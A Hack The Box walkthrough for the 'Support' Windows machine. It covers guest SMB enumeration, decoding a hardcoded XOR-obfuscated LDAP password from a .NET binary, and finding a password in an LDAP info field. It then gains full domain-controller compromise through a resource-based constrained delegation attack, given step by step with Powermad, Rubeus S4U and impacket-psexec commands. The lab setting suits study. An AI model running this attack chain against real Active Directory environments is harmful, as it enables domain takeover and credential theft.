HTB — Support | Windows | Easy

Rating: 4/5

Recon

nmap -sV -sC -p- --min-rate 5000 <target-ip>

nmap -sV -sC -p- --min-rate 5000 <target-ip>

Revealed Ports:

53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

No server expected ig …

SMB Enumeration

enum4linux said no anonymous access — but manual enumeration with a guest session told a different story:

nxc smb support.htb -u 'guest' -p '' --shares
smbclient //support.htb/support-tools -U 'guest' -p ''

nxc smb support.htb -u 'guest' -p '' --shares
smbclient //support.htb/support-tools -U 'guest' -p ''

Found a support-tools share full of standard sysadmin tools (7zip, Wireshark, Putty etc.) — but one file stood out:

UserInfo.exe.zip

UserInfo.exe.zip

Custom app. Worth pulling apart.

Reverse Engineering — UserInfo.exe

The .config file had nothing useful. Opened the binary in dnSpy, navigated to UserInfo.Services → Protected class and found this:

private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");

private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");

XOR encoded with key armando. Decoded it:

import base64
enc = '0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'
key = b'armando'
arr = base64.b64decode(enc)
print(bytes([arr[i] ^ key[i % len(key)] ^ 223 for i in range(len(arr))]).decode())

import base64
enc = '0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'
key = b'armando'
arr = base64.b64decode(enc)
print(bytes([arr[i] ^ key[i % len(key)] ^ 223 for i in range(len(arr))]).decode())

Got the creds for ldap@support.htb : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

LDAP Enumeration → support user

Ran Bloodhound — came back with nothing interesting at first. Switched to manual LDAP searching:

ldapsearch -x -H ldap://support.htb -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' '(objectClass=user)' info description

ldapsearch -x -H ldap://support.htb -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' '(objectClass=user)' info description

The info field on the support user had a password sitting right in it: Ironside47pleasure40Watchful

Bloodhound doesn't render the info field — this is a good reminder to always do manual LDAP checks and not rely purely on automated tools.

Initial Access — support user

evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful'
cat user.txt

evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful'
cat user.txt

Privilege Escalation — support → Administrator (RBCD)

Back to Bloodhound — support is a member of SHARED SUPPORT ACCOUNTS@SUPPORT.HTB and that group has GenericAll on DC.SUPPORT.HTB.

GenericAll on the DC = RBCD attack. The plan: create a fake machine account, set delegation on the DC to trust it, then impersonate Administrator.

1. Create the fake machine account

Import-Module Powermad
New-MachineAccount -MachineAccount FakeComputer -Password $(ConvertTo-SecureString 'PleaseSubscribe123!' -AsPlainText -Force)

Import-Module Powermad
New-MachineAccount -MachineAccount FakeComputer -Password $(ConvertTo-SecureString 'PleaseSubscribe123!' -AsPlainText -Force)

2. Build the security descriptor and set delegation on the DC

$ComputerSid = Get-DomainComputer FakeComputer -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

$ComputerSid = Get-DomainComputer FakeComputer -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

3. Get the hash for FakeComputer

.\Rubeus.exe hash /password:PleaseSubscribe123! /user:FakeComputer$ /domain:support.htb

.\Rubeus.exe hash /password:PleaseSubscribe123! /user:FakeComputer$ /domain:support.htb

4. Run S4U and get the ticket

.\Rubeus.exe s4u /user:FakeComputer$ /rc4:7E653B8269D3C7EA3FFCDB7576E2560A /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt /outfile:admin.kirbi

.\Rubeus.exe s4u /user:FakeComputer$ /rc4:7E653B8269D3C7EA3FFCDB7576E2560A /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt /outfile:admin.kirbi

This generates 2 tickets — you want admin_cifs_dc.support.htb.kirbi. That's the final S4U2proxy ticket with actual CIFS access. The other one is just the intermediate step.

5. Transfer to Kali and get shell

impacket-ticketConverter admin_cifs_dc.support.htb.kirbi administrator.ccache
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass dc.support.htb
cat root.txt

impacket-ticketConverter admin_cifs_dc.support.htb.kirbi administrator.ccache
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass dc.support.htb
cat root.txt

ROOTED…